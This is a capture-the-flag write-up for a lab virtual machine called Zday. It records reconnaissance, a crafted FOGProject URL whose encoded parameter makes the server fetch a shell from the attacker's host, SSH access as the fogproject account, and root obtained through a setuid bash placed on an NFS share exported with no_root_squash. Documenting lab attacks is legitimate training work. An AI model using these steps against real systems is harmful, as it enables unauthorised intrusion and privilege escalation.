41.Zday

┌──(root㉿kali)-[~/Desktop/hmv/Zday]
└─# nmap 192.168.56.7
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-19 19:53 EST
Nmap scan report for 192.168.56.7
Host is up (0.00029s latency).
Not shown: 993 closed tcp ports (reset)
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
80/tcp   open  http
111/tcp  open  rpcbind
443/tcp  open  https
2049/tcp open  nfs
3306/tcp open  mysql
MAC Address: 08:00:27:36:9F:B5 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.26 seconds

┌──(root㉿kali)-[~/Desktop/hmv/Zday]
└─# dirsearch -u http://192.168.56.7
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
  from pkg_resources import DistributionNotFound, VersionConflict

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /root/Desktop/hmv/Zday/reports/http_192.168.56.7/_24-12-19_19-55-54.txt

Target: http://192.168.56.7/


[19:56:05] 302 -    0B  - /index.php  ->  /fog/index.php
[19:56:05] 302 -    0B  - /index.php/login/  ->  /fog/index.php
[19:56:10] 403 -  277B  - /server-status
[19:56:10] 403 -  277B  - /server-status/

┌──(root㉿kali)-[~/Desktop/hmv/Zday]
└─# searchsploit fog
--------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                           |  Path
--------------------------------------------------------------------------------------------------------- ---------------------------------
Fog Creek Software FogBugz 4.0 29 - 'default.asp' Cross-Site Scripting                                   | asp/webapps/27071.txt
FOG Forum 0.8.1 - Multiple Local File Inclusions                                                         | php/webapps/5784.txt
FOGProject 1.5.9 - File Upload RCE (Authenticated)                                                       | php/webapps/49811.txt
--------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

http://192.168.56.7/fog/management/index.php?node=about&sub=kernel&file=aHR0cDovLzE5Mi4xNjguNTYuNi9teXNoZWxsCg==
&arch=arm64

┌──(root㉿kali)-[~/Desktop/hmv/Zday]
└─# ssh fogproject@192.168.56.7
fogproject@192.168.56.7's password:
Linux zday 4.19.0-14-amd64 #1 SMP Debian 4.19.171-2 (2021-01-30) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Dec 19 04:08:15 2024 from 192.168.56.6
You seem to be using the 'fogproject' system account to logon and work
on your FOG server system.

It's NOT recommended to use this account! Please create a new
account for administrative tasks.

If you re-run the installer it would reset the 'fog' account
password and therefore lock you out of the system!

Take care,
your FOGproject team
Connection to 192.168.56.7 closed.

┌──(root㉿kali)-[~/Desktop/hmv/Zday]
└─# ssh fogproject@192.168.56.7 -t sh
fogproject@192.168.56.7's password:
$ whoami
fogproject
$ id
uid=1001(fogproject) gid=1001(fogproject) groups=1001(fogproject)
$

╔══════════╣ Analyzing NFS Exports Files (limit 70)
Connected NFS Mounts:
nfsd /proc/fs/nfsd nfsd rw,relatime 0 0
-rw-r--r-- 1 root root 174 Mar 10  2021 /etc/exports
/images *(ro,sync,no_wdelay,no_subtree_check,insecure_locks,no_root_squash,insecure,fsid=0)
/images/dev *(rw,async,no_wdelay,no_subtree_check,no_root_squash,insecure,fsid=1)

其中 /images/dev 目录我们具有读写权限

#Attacker, as root user
mkdir /tmp/pe
mount -t nfs <IP>:<SHARED_FOLDER> /tmp/pe
cd /tmp/pe
cp /bin/bash .
chmod +s bash

#Victim
cd <SHAREDD_FOLDER>
./bash -p #ROOT shell

$ ./bash -p
./bash: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.33' not found (required by ./bash)
./bash: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.36' not found (required by ./bash)
./bash: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.38' not found (required by ./bash)
./bash: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found (required by ./bash)

攻击机
tar -zxvf bash-5.1.8.tar.gz
./configure --enable-static-link --without-bash-malloc
make
cp bash /tmp/pe
chmod +s /tmp/pe/bash

受害机
./bash -p

bash-5.1# cat /root/root.txt
ihavebeenherealways

bash-5.1# cat /home/estas/user.txt
whereihavebeen